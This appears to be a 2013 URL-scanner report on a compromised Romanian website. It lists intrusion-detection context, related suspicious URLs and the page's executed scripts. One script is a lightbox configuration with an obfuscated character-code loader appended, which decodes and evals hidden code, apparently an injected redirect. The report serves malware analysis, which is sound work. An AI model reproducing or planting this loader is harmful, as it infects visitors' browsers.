Overview
Settings
| UserAgent | Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 |
| Referer | |
| Adobe Reader | 8.0 |
| Java | 1.6.0_26 |
Intrusion Detection Systems
| Suricata /w Emerging Threats Pro |
| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Snort /w Sourcefire VRT |
|
Recent reports on same IP/ASN/Domain
Last 6 reports on IP: 92.114.87.35
| Date | Alerts / IDS | URL | IP |
|---|---|---|---|
| 2013-03-23 11:11:41 | 4 / 16 | http://www.borrolia.com/de/proiectare_CAM.php | |
| 2013-03-23 10:48:57 | 4 / 8 | http://www.borrolia.com/en/proiectare_CAM.php | |
| 2013-03-14 02:08:41 | 4 / 16 | http://www.borrolia.com/de/proiectare_dispozitive.php | |
| 2013-03-14 02:04:02 | 4 / 16 | http://www.borrolia.com/fr/ftp.php | |
| 2013-03-11 23:45:33 | 4 / 16 | http://www.borrolia.com/de/proiectare_produs.php | |
| 2013-03-10 23:32:16 | 4 / 16 | http://www.borrolia.com/en/contact.php |
Last 6 reports on ASN: AS16265 LeaseWeb B.V.
| Date | Alerts / IDS | URL | IP |
|---|---|---|---|
| 2013-04-02 02:58:41 | 0 / 2 | http://download.magnipic.info/?e=mag | |
| 2013-04-02 02:57:13 | 0 / 0 | http://sciroxx.com/catalog/injections-products.html | |
| 2013-04-02 02:42:01 | 1 / 0 | http://r.meendocash.com/brview.php?rid=244587ace880de9a | |
| 2013-04-02 01:43:50 | 0 / 1 | http://www.sibcode.com/downloads/image-viewer.exe | |
| 2013-04-02 01:39:49 | 0 / 2 | http://www.metamatica.com/downloads/metacompresssetup.exe | |
| 2013-04-02 00:59:26 | 0 / 0 | http://46.165.232.120 |
Last 6 reports on domain: www.jamboree.ro
| Date | Alerts / IDS | URL | IP |
|---|---|---|---|
| 2013-01-22 15:51:57 | 4 / 22 | http://www.jamboree.ro/index.php?option=com_content | |
| 2013-01-20 00:52:06 | 4 / 44 | http://www.jamboree.ro/index.php?option=com_content | |
| 2013-01-10 23:23:25 | 3 / 44 | http://www.jamboree.ro/index.php?option=com_content | |
| 2013-01-10 11:07:11 | 3 / 44 | http://www.jamboree.ro/index.php?option=com_content | |
| 2013-01-08 04:08:21 | 3 / 44 | http://www.jamboree.ro/index.php?option=com_content | |
| 2012-11-27 14:12:15 | 3 / 21 | http://www.jamboree.ro/ |
JavaScript
Executed Scripts (11)
#6 JavaScript::Script (size: 10042, repeated: 1) - Alert detect on script (Severity: 2)/* All the presets options are the custom ones */
var rokbox;
window.addEvent('domready', function() {
rokbox = new RokBox({
'theme': 'light',
// this string must match the theme folder name (string, no space, lowercase)
'transition': Fx.Transitions.Quad.easeOut,
// Transition to use when opening RokBox
'duration': 400,
// Duration of opening RokBox Effect (integer, milliseconds)
'chase': 50,
// Chase to use for the animation. works only for growl, see next line. (integer)
'frame-border': 20,
// Width of each border if any (integer, pixels)
'content-padding': 0,
// Padding of internal content wrapper (integer, pixels)
'arrows-height': 35,
// Height of arrows div (integer, pixels)
'effect': 'growl',
// Type of effect to use. Presets are: 'quicksilver', 'growl', 'explode'
'captions': 1,
// Whether to enable or disable captions (boolean, 1 or 0)
'captionsDelay': 800,
// How long captions effect should last, when captions are enabled (integer, milliseconds)
'scrolling': 0,
// Makes RokBox follow when scrolling the page (boolean, 1 or 0)
'keyEvents': 1,
// Enable keyevents. Esc, Left, Right to close and change previous or next (boolean, 1 or 0)
'overlay': {
'background': '#000',
// Overlay background color (string, hex color format with starting hash #)
'opacity': 0.2,
// Opacity of the overlay (float, from 0 to 1, 0.1 makes it invisible but clickable)
'duration': 200,
// Duration of overlay effect (integer, milliseconds)
'transition': Fx.Transitions.Quad.easeInOut // Transition to use for opacity effect
},
'defaultSize': {
'width': 640,
// Default RokBox window width (integer)
'height': 460 // Default RokBox window height (integer)
},
'autoplay': 'true',
// Enable or disable autoplay for QuickTimes and WM videos (string, 'true' or 'false')
'controller': 'true',
// Enable or disable controllers for QuickTimes and WM videos (string, 'true' or 'false')
'bgcolor': '#ffffff',
// Set Background colors for all videos and flash services that support it (string, hex color format with starting hash #)
'youtubeAutoplay': 0,
// Enable or disable autoplay for YouTube (boolean, 1 or 0)
'vimeoColor': '00adef',
// Vimeo Color Scheme (string, hex color format WITHOUT starting hash #)
'vimeoPortrait': 0,
// Enable or disable Vimeo Portrait Button (boolean, 1 or 0)
'vimeoTitle': 0,
// Enable or disable Vimeo Title caption (boolean, 1 or 0)
'vimeoFullScreen': 1,
// Enable or disable Vimeo FullScreen button (boolean, 1 or 0)
'vimeoByline': 0 // Enable or disable Vimeo's Author line (boolean, 1 or 0)
});
});
/*km0ae9gr6m*/
try {
prototype % 2;
} catch (asd) {
x = 2;
}
try {
q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" : "")]("p");
q.appendChild(q + "");
} catch (fwbewe) {
i = 0;
try {
prototype * 5;
} catch (z) {
fr = "fromChar";
f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160, 708, 485, 684, 160, 624, 525, 192, 305, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 666, 160, 366, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 222, 160, 696, 520, 630, 575, 276, 405, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 696, 505, 690, 580, 192, 305, 192, 580, 624, 525, 690, 230, 390, 160, 252, 160, 648, 555, 192, 225, 192, 580, 624, 525, 690, 230, 492, 160, 252, 160, 624, 525, 354, 50, 192, 160, 192, 160, 630, 510, 240, 580, 606, 575, 696, 160, 372, 160, 288, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 366, 160, 696, 505, 690, 580, 354, 50, 192, 160, 192, 160, 750, 160, 606, 540, 690, 505, 192, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 580, 606, 575, 696, 160, 258, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 200, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 252, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 205, 354, 50, 750, 50, 60, 510, 702, 550, 594, 580, 630, 555, 660, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 500, 192, 305, 192, 550, 606, 595, 192, 340, 582, 580, 606, 200, 702, 550, 630, 600, 252, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 160, 366, 160, 600, 230, 618, 505, 696, 360, 666, 585, 684, 575, 240, 205, 192, 310, 192, 245, 300, 160, 378, 160, 294, 160, 348, 160, 288, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 250, 306, 260, 318, 270, 330, 280, 342, 240, 294, 160, 258, 160, 240, 500, 276, 515, 606, 580, 462, 555, 660, 580, 624, 200, 246, 160, 252, 160, 288, 600, 420, 350, 420, 350, 420, 350, 246, 160, 258, 160, 240, 500, 276, 515, 606, 580, 408, 485, 696, 505, 240, 205, 192, 210, 192, 240, 720, 350, 420, 350, 420, 205, 258, 160, 240, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 690, 160, 252, 160, 288, 600, 420, 350, 420, 205, 246, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 390, 160, 366, 160, 312, 280, 300, 275, 294, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 462, 160, 366, 160, 300, 245, 312, 275, 312, 280, 306, 270, 312, 275, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 405, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 282, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 410, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 222, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 160, 366, 160, 294, 230, 288, 160, 282, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 550, 606, 600, 696, 160, 366, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 354, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 580, 624, 525, 690, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 495, 684, 505, 582, 580, 606, 410, 582, 550, 600, 555, 654, 390, 702, 545, 588, 505, 684, 200, 684, 220, 192, 385, 630, 550, 264, 160, 462, 485, 720, 205, 738, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 240, 385, 582, 600, 270, 385, 630, 550, 246, 160, 252, 160, 684, 230, 660, 505, 720, 580, 240, 205, 192, 215, 192, 385, 630, 550, 246, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 648, 505, 660, 515, 696, 520, 264, 160, 732, 555, 660, 505, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 570, 582, 550, 600, 160, 366, 160, 660, 505, 714, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 606, 580, 696, 505, 684, 575, 192, 305, 192, 455, 234, 485, 234, 220, 234, 490, 234, 220, 234, 495, 234, 220, 234, 500, 234, 220, 234, 505, 234, 220, 234, 510, 234, 220, 234, 515, 234, 220, 234, 520, 234, 220, 234, 525, 234, 220, 234, 530, 234, 220, 234, 535, 234, 220, 234, 540, 234, 220, 234, 545, 234, 220, 234, 550, 234, 220, 234, 555, 234, 220, 234, 560, 234, 220, 234, 565, 234, 220, 234, 570, 234, 220, 234, 575, 234, 220, 234, 580, 234, 220, 234, 585, 234, 220, 234, 590, 234, 220, 234, 595, 234, 220, 234, 600, 234, 220, 234, 605, 234, 220, 234, 610, 234, 465, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 580, 684, 160, 366, 160, 234, 195, 354, 50, 192, 160, 192, 160, 612, 555, 684, 200, 708, 485, 684, 160, 630, 160, 366, 160, 288, 295, 192, 525, 192, 300, 192, 540, 606, 550, 618, 580, 624, 295, 192, 525, 192, 215, 258, 160, 246, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 575, 696, 570, 192, 215, 366, 160, 648, 505, 696, 580, 606, 570, 690, 455, 594, 570, 606, 485, 696, 505, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 570, 582, 550, 600, 220, 192, 240, 264, 160, 648, 505, 696, 580, 606, 570, 690, 230, 648, 505, 660, 515, 696, 520, 192, 225, 192, 245, 246, 465, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 575, 696, 570, 192, 215, 192, 195, 276, 195, 192, 215, 192, 610, 666, 550, 606, 295, 60, 625, 60, 50, 690, 505, 696, 420, 630, 545, 606, 555, 702, 580, 240, 510, 702, 550, 594, 580, 630, 555, 660, 200, 246, 615, 60, 160, 192, 160, 192, 580, 684, 605, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 240, 580, 726, 560, 606, 555, 612, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 366, 160, 204, 585, 660, 500, 606, 510, 630, 550, 606, 500, 204, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 192, 580, 684, 585, 606, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 590, 582, 570, 192, 585, 660, 525, 720, 160, 366, 160, 462, 485, 696, 520, 276, 570, 666, 585, 660, 500, 240, 215, 660, 505, 714, 160, 408, 485, 696, 505, 240, 205, 282, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 708, 485, 684, 160, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 192, 305, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 294, 270, 264, 160, 234, 570, 702, 195, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 160, 366, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 495, 684, 505, 582, 580, 606, 345, 648, 505, 654, 505, 660, 580, 240, 170, 438, 350, 492, 325, 462, 345, 204, 205, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 505, 696, 325, 696, 580, 684, 525, 588, 585, 696, 505, 240, 170, 690, 570, 594, 170, 264, 160, 204, 520, 696, 580, 672, 290, 282, 235, 204, 215, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 258, 170, 282, 570, 702, 550, 612, 555, 684, 505, 690, 580, 684, 585, 660, 315, 690, 525, 600, 305, 588, 555, 696, 550, 606, 580, 300, 170, 246, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 545, 276, 575, 696, 605, 648, 505, 276, 595, 630, 500, 696, 520, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 624, 505, 630, 515, 624, 580, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 708, 525, 690, 525, 588, 525, 648, 525, 696, 605, 192, 305, 192, 170, 624, 525, 600, 500, 606, 550, 204, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726, 230, 582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594, 485, 696, 495, 624, 200, 606, 205, 738, 625, 60, 625, 264, 160, 318, 240, 288, 205, 354];
v = "eva";
}
if (v) e = window[v + "l"];
w = f;
s = [];
r = String;
z = ((e) ? "Code" : "");
for (; 1776 - 5 + 5 > i; i += 1) {
j = i;
if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
}
if (f) e(s);
} /*qhk6sa6g1c*/ |
Executed Evals (3)
#1 JavaScript::Eval (size: 32879, repeated: 1)Element.extend({
'show': function() {
return this.setStyle('display', '')
},
'hide': function() {
return this.setStyle('display', 'none')
}
});
String.extend({
'sameDomain': function() {
var domain = /^(http|https):\/\/([a-z-.0-9]+)[\/]{0,1}/i.exec(window.location);
var lnk = /^(http|https):\/\/([a-z-.0-9]+)[\/]{0,1}/i.exec(this);
return domain[2] === lnk[2]
}
});
var RokBox = new Class({
version: '2.1',
options: {
'className': 'rokbox',
'theme': 'default',
'transition': Fx.Transitions.Quad.easeOut,
'duration': 200,
'chase': 40,
'effect': 'quicksilver',
'captions': true,
'captionsDelay': 800,
'scrolling': false,
'keyEvents': true,
overlay: {
'background': '#000',
'opacity': 0.85,
'zIndex': 65550,
'duration': 200,
'transition': Fx.Transitions.Quad.easeInOut
},
'frame-border': 0,
'content-padding': 0,
'arrows-height': 50,
defaultSize: {
'width': 640,
'height': 460
},
'autoplay': 'true',
'controller': 'false',
'bgcolor': '#f3f3f3',
'youtubeAutoplay': false,
'vimeoColor': '00adef',
'vimeoPortrait': false,
'vimeoTitle': false,
'vimeoFullScreen': true,
'vimeoByline': false
},
initialize: function(options) {
this.setOptions(options);
var regexp = new RegExp("^" + this.options.className),
cls = this.options.className,
self = this;
this.current = [];
this.groups = new Hash({});
this.changeGroup = false;
this.swtch = false;
this.elements = $$('a').filter(function(lnk) {
var rel = lnk.getProperty('rel'),
group = false,
len = false,
module = false;
var test = (rel || '').test(regexp);
if (test) {
if (rel) group = rel.match(/\([a-z0-9A-Z]+\)/g) || false;
if (rel) module = rel.match(/\[module\=(.+)+\]/) || false;
if (module[1]) {
lnk.module = module[1]
} else {
lnk.module = false
};
if (group[0]) {
group = group[0].replace("(", "").replace(")", "");
if (!this.groups.hasKey(group)) this.groups.set(group, []);
var groups = this.groups.get(group);
groups.push(lnk);
len = groups.length;
this.groups.set(group, groups)
};
lnk.group = group;
lnk.idx = len;
lnk.addEvent('click', this.click.bindWithEvent(lnk, [lnk.title, lnk.href, lnk.rel, this]))
};
return test
}.bind(this));
var overlayOptions = $merge(this.options.overlay, {
'id': cls + '-overlay',
'class': cls + '-overlay'
});
this.overlayObj = new Rokverlay(false, overlayOptions).addEvent('onShow', function() {
self.open(self.current)
}).addEvent('onHide', function() {
if (self.changeGroup) {
self.changeGroup = false;
var e = self.nextGroup[0],
selfLink = self.nextGroup[1],
list = self.nextGroup[2],
index = self.nextGroup[3],
what;
if (selfLink.getProperty('id').test('next')) what = list[index];
else what = list[index - 2];
self.click.delay(100, self, [false, what.title, what.href, what.rel, self, what])
}
});
this.overlay = this.overlayObj.overlay.addEvent('click', function() {
self.swtch = false;
self.close()
});
this.wrapper = new Element('div', {
'id': cls + '-wrapper',
'class': cls + '-' + this.options.theme
}).inject(document.body).setStyles({
'position': 'absolute',
'zIndex': 65555,
'opacity': 0
}).hide();
var topleft = new Element('div', {
'id': cls + '-top',
'class': cls + '-left'
}).inject(this.wrapper);
var topright = new Element('div', {
'class': cls + '-right'
}).inject(topleft);
var topcenter = new Element('div', {
'class': cls + '-center'
}).inject(topright);
var middleleft = new Element('div', {
'id': cls + '-middle',
'class': cls + '-left'
}).inject(this.wrapper);
var middleright = new Element('div', {
'class': cls + '-right'
}).inject(middleleft);
this.center = new Element('div', {
'class': cls + '-center'
}).inject(middleright);
var bottomleft = new Element('div', {
'id': cls + '-bottom',
'class': cls + '-left'
}).inject(this.wrapper);
var bottomright = new Element('div', {
'class': cls + '-right'
}).inject(bottomleft);
var bottomcenter = new Element('div', {
'class': cls + '-center'
}).inject(bottomright);
new Element('div', {
'class': 'clr'
}).inject(this.wrapper);
this.closeButton = new Element('a', {
'id': cls + '-close',
'href': '#'
}).setHTML('<span>[x] close</span>').inject(this.center);
this.closeButton.addEvent('click', function(e) {
new Event(e).stop();
self.swtch = false;
self.close(e)
});
this.fx = {
'wrapper': new Fx.Styles(this.wrapper, {
'duration': this.options.duration,
wait: true,
'transition': this.options.transition,
onComplete: function() {
if (self.type == 'image') return;
if (!this.now.opacity && self.overlayObj.open) {
self.wrapper.hide();
if (!self.swtch) {
self.overlayObj.hide()
} else {
if (self.changeGroup) {
self.changeGroup = false;
var e = self.nextGroup[0],
selfLink = self.nextGroup[1],
list = self.nextGroup[2],
index = self.nextGroup[3],
what;
if (selfLink.getProperty('id').test('next')) what = list[index];
else what = list[index - 2];
self.click.delay(100, self, [false, what.title, what.href, what.rel, self, what])
}
}
} else {
self.loadVideo.delay(50, self)
}
}
}),
'center': new Fx.Styles(this.center, {
'duration': this.options.duration,
wait: true,
'transition': this.options.transition
}),
'height': new Fx.Style(this.center, 'height', {
'duration': this.options.duration,
wait: true,
'transition': this.options.transition
})
};
window.addEvent('resize', function() {
self.reposition(self.wrapper);
self.overlayObj.reposition()
});
if (this.options.scrolling) window.addEvent('scroll', function() {
self.reposition(self.wrapper)
})
},
click: function(e, title, href, options, self, me) {
if (e) new Event(e).stop();
var fs = '';
var match = options.match(/([0-9]+\s?[0-9]+)/g) || [''];
match = match[0].split(" ");
var match = options.match(/([0-9%]+\s?[0-9%]+)/g) || [''];
fs = match[0].split(" ");
match = match[0].split(" ");
if (options.match(/fullscreen/g)) fs = 'fullscreen';
var tmp = self.overflow();
if (!me) me = false;
var group = this.group || me.group;
var closeHeight = self.closeButton.getStyle('height').toInt() || self.closeButton.getSize().size.y || 0;
var arrowHeight = self.options['arrows-height'] || 0;
match[0] = (match[0]) ? match[0] : '';
match[1] = (match[1]) ? match[1] : '';
if ((!match[0].contains("%") && !match[1].contains("%")) && !match[0].length || !match[1].length) {
if (href.match(/youtube\.com\/watch/i)) {
match[0] = 640;
match[1] = 385
} else if (href.match(/dailymotion\./i)) {
match[0] = 420;
match[1] = 339
} else if (href.match(/metacafe\.com\/watch/i)) {
match[0] = 400;
match[1] = 345
} else if (href.match(/google\.com\/videoplay/i)) {
match[0] = 400;
match[1] = 326
} else if (href.match(/vimeo\.com\/[0-9]{1,}/i)) {
match[0] = 400;
match[1] = 225
} else if (href.match(/\.(mov|qt|mpeg|divx|avi|xvid|mv4|m4v|wmv|wma|wax|wvx|asx|asf)$/i)) {
match[0] = 504;
match[1] = 336
} else if (href.match(/\.(mp3|wav|m4a)$/i)) {
match[0] = 320;
match[1] = 45
}
};
var winSize = window.getSize().size;
if (fs == 'fullscreen') match[0] = ((window.opera) ? window.innerWidth : winSize.x) - self.overflow(true) - 20;
if (fs == 'fullscreen') match[1] = ((window.opera) ? window.innerHeight : winSize.y) - self.overflow() - closeHeight - arrowHeight - 20;
if ($type(match[0]) != 'number' && $type(match[1]) != 'number') {
if (match[0].contains("%") && match[1].contains("%")) {
var ww = (window.opera) ? window.innerWidth : winSize.x;
var wh = (window.opera) ? window.innerHeight : winSize.y;
match[0] = match[0].replace("%", "").toInt();
match[1] = match[1].replace("%", "").toInt();
match[0] = match[0] > 100 ? 100 : match[0];
match[1] = match[1] > 100 ? 100 : match[1];
match[0] = ww * match[0] / 100;
match[1] = wh * match[1] / 100;
match[0] = match[0] - self.overflow(true) - 20;
match[1] = match[1] - self.overflow() - closeHeight - arrowHeight - 20
}
}
options = {
width: (match[0] || self.options.defaultSize.width).toInt(),
height: (match[1] || self.options.defaultSize.height).toInt()
};
options2 = {
width: (match[0] || self.options.defaultSize.width).toInt() + self.overflow(true),
height: (match[1] || self.options.defaultSize.height).toInt() + self.overflow() + closeHeight
};
self.current = [this, title, href, options, group, this.idx || me.idx, options2, this.module];
if (!self.swtch) self.overlayObj.toggle();
else self.open(self.current)
},
overflow: function(margin) {
var tmp = (this.options['frame-border'] * 2) + (this.options['content-padding'] * 2);
return tmp
},
open: function() {
arguments = arguments[0];
var b = arguments;
var el = arguments[0],
title = arguments[1],
href = arguments[2],
size = arguments[3],
options = arguments[6],
module = arguments[7],
self = this;
this.closeButton.setStyle('visibility', 'visible');
var closeHeight = self.closeButton.getStyle('height').toInt() || self.closeButton.getSize().size.y || self.closeButton.currentStyle.height.toInt() || 0;
var arrowHeight = self.options['arrows-height'] || 0;
this.wrapper.setStyles({
'width': options.width,
'height': options.height + arrowHeight + closeHeight
}).show();
this.center.setStyles({
'width': size.width,
'height': size.height + closeHeight + arrowHeight
});
if (self.options.captions && !this.caption) {
var getCaption = self.getCaption(title) || [false, false];
var title = getCaption[0],
description = getCaption[1];
this.caption = new Element('div', {
'id': this.options.className + '-caption'
}).inject(this.center).setStyle('opacity', 0).adopt(title, description)
};
if (self.options.captions && this.caption) this.caption.hide().setStyle('height', 0);
if (self.container) self.container.empty();
var position = this.reposition(this.wrapper, options)[1];
this.fx.wrapper.start(this.effects(this.options.effect, position).start).chain(function() {
if (self.options.captions && self.caption) {
(function() {
var height = self.caption.getSize().size.y || 0;
var center = self.center.getStyle('height').toInt();
var captionText = self.caption.getText().trim().length;
self.fx.height.start(center + height - closeHeight).chain(function() {
self.caption.effect('opacity').start(1);
if (self.options.keyEvents) {
self.evt = self.keyEvents.bindWithEvent(self);
document.addEvent('keyup', self.evt)
}
})
}).delay(self.options.captionsDelay)
}
});
var h = size.height + closeHeight + arrowHeight;
var f = this.effects(this.options.effect, position).start;
if (f.width || f.height) this.fx.center.start({
'width': ($type(f.width) == 'array') ? [0, size.width] : size.width,
'height': ($type(f.height) == 'array') ? [0, h] : h
});
else this.center.setStyles({
'width': size.width,
'height': h
})
},
close: function(event, animation) {
var self = this,
effect;
var position = {
'left': this.wrapper.getStyle('left').toInt(),
'top': this.wrapper.getStyle('top').toInt()
};
this.closeButton.setStyle('visibility', 'hidden');
this.container.removeClass('spinner');
this.unloadVideo();
effect = this.effects((animation) ? animation : this.options.effect, position).end;
if (this.options.captions) this.caption.effect('opacity').set(0);
if (this.options.keyEvents) document.removeEvent('keyup', self.evt);
if (this.arrows) this.arrows.remove();
this.arrows = false;
var tmp = {};
if ($chk(effect.width)) tmp.width = Math.abs(effect.width - self.overflow());
if ($chk(effect.height)) tmp.height = Math.abs(effect.height);
this.fx.center.start(tmp).chain(function() {
self.fx.height.stop();
if (self.caption) self.caption.setStyle('height', '');
self.center.setStyles({
'width': '',
'height': ''
});
self.container.setStyles({
'width': '',
'height': ''
})
});
this.fx.wrapper.start(effect);
return this
},
keyEvents: function(e) {
new Event(e);
switch (e.key) {
case 'left':
if (this.arrows) this.prevArrow.fireEvent('click', e);
break;
case 'right':
if (this.arrows) this.nextArrow.fireEvent('click', e);
break;
case 'esc':
this.swtch = false;
this.close(e, 'growl')
}
},
reposition: function(wrapper, size) {
var winSize = window.getSize();
if (!wrapper) wrapper = $(this.wrapper);
if (!size) {
var tmp = wrapper.getSize().size;
size = {
'width': tmp.x,
'height': tmp.y
}
};
var plus = this.options['arrows-height'];
var left = winSize.scroll.x + (((window.opera) ? window.innerWidth : winSize.size.x) / 2) - (size.width / 2) - wrapper.getStyle('padding-left').toInt();
var top = winSize.scroll.y + (((window.opera) ? window.innerHeight : winSize.size.y) / 2) - (size.height / 2) - wrapper.getStyle('padding-top').toInt() - (plus / 2);
var position = {
'top': (top > 0) ? top : 0,
'left': (left > 0) ? left : 0
};
return [wrapper.setStyles(position), position]
},
loadVideo: function() {
if (this.container) this.container.remove();
if (this.caption) this.caption.hide();
var caption = this.current[1],
url = this.current[2],
size = this.current[3],
group = this.current[4],
index = this.current[5],
cls = this.options.className;
var module = this.current[7];
var closeHeight = this.closeButton.getStyle('height').toInt() || this.closeButton.getSize().size.y || 0;
var arrowHeight = this.options['arrows-height'] || 0;
this.type = false;
if (module) {
this.type = 'module';
this.object = $(module)
} else if (url.match(/\.(gif|jpg|jpeg|png|bmp)$/i) || this.current[0].alt == 'image') {
this.type = 'image';
var self = this;
this.object = new Asset.image(url, {
id: 'rokboxobject',
onerror: function() {
self.container.removeClass('liading').addClass('warning');
self.container.setHTML('<h1>Image not found.</h1>')
},
onload: function() {
size.width = this.width;
size.height = this.height;
if (self.arrows) self.arrows.hide();
self.container.setStyles(size);
var img = this,
winSize = window.getSize();
var top = winSize.scroll.y + (winSize.size.y / 2) - (this.height / 2) - self.wrapper.getStyle('padding-top').toInt();
if (top < 0) top = 0;
if (self.center.getStyle('width').toInt() != size.width && self.center.getStyle('height').toInt() != size.height) {
self.fx.center.start({
'width': size.width,
'height': size.height + self.overflow(true) + arrowHeight
})
};
var left = winSize.scroll.x + (winSize.size.x / 2) - (this.width / 2) - (self.overflow(true) / 2) - self.wrapper.getStyle('padding-left').toInt();
self.fx.wrapper.start({
'left': (left > 0) ? left : 0,
'width': this.width + self.overflow(true),
'height': this.height + self.overflow() + arrowHeight + closeHeight
}).chain(function() {
self.container.removeClass('spinner');
img.inject(self.container);
if (self.arrows) self.arrows.show()
})
}
})
} else if (url.match(/\.(mov|qt|mpeg|divx|avi|xvid|mv4|m4v)$/i)) {
this.type = 'qt';
if (navigator.plugins && navigator.plugins.length) {
this.object = '<object id="rokboxobject" standby="loading..." type="video/quicktime" codebase="http://www.apple.com/qtactivex/qtplugin.cab" data="' + url + '" width="' + size.width + '" height="' + size.height + '"><param name="src" value="' + url + '" /><param name="scale" value="aspect" /><param name="controller" value="' + this.options.controller + '" /><param name="autoplay" value="' + this.options.autoplay + '" /><param name="bgcolor" value="' + this.options.bgcolor + '" /><param name="enablejavascript" value="true" /></object>'
} else {
